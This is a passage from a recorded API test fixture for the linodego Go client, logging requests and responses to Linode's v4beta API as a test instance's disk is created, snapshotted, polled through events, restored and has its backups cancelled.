"800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831 method: GET response: body: '{"id": 41003831, "label": "go-test-ins-wo-disk-bzi7l8090x1m", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.122.252"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "708" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-disk-test","size":10,"filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/disks method: POST response: body: '{"id": 82067502, "status": "not ready", "label": "linodego-disk-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 10}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "172" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":41003831,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404805709, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 10.0, "action": "disk_create", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "finished", "secondary_entity": {"id": 82067502, "type": "disk", "label": "linodego-disk-test", "url": "/v4/linode/instances/41003831/disks/82067502"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "568" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/enable method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"snapshot-linodego-testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups method: POST response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "pending", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": null, "label": "snapshot-linodego-testing", "configs": [], "disks": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "250" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":41003831,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404805804, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 32, "time_remaining": null, "rate": null, "duration": 15.135261, "action": "linode_snapshot", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404805804}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404805804, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 72, "time_remaining": null, "rate": null, "duration": 30.148493, "action": "linode_snapshot", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404805804}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404805804, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 82, "time_remaining": null, "rate": null, "duration": 45.150136, "action": "linode_snapshot", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":41003831,"entity.type":"linode","id":{"+gte":404805804}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404805804, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 54.0, "action": "linode_snapshot", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831 method: GET response: body: '{"id": 41003831, "label": "go-test-ins-wo-disk-bzi7l8090x1m", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.122.252"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "722" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups method: GET response: body: '{"automatic": [], "snapshot": {"current": null, "in_progress": {"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "436" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "needsPostProcessing", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888 method: GET response: body: '{"id": 235396888, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-xf886ld17qx5"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "362" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":41003831,"overwrite":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/235396888/restore method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/backups/cancel method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2022-12-21T14:29:50"},"entity.id":41003831,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 404806824, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 15.094783, "action": "backups_restore", "username": "jriddle-dev", "entity": {"label": "go-test-ins-wo-disk-bzi7l8090x1m", "id": 41003831, "type": "linode", "url": "/v4/linode/instances/41003831"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, 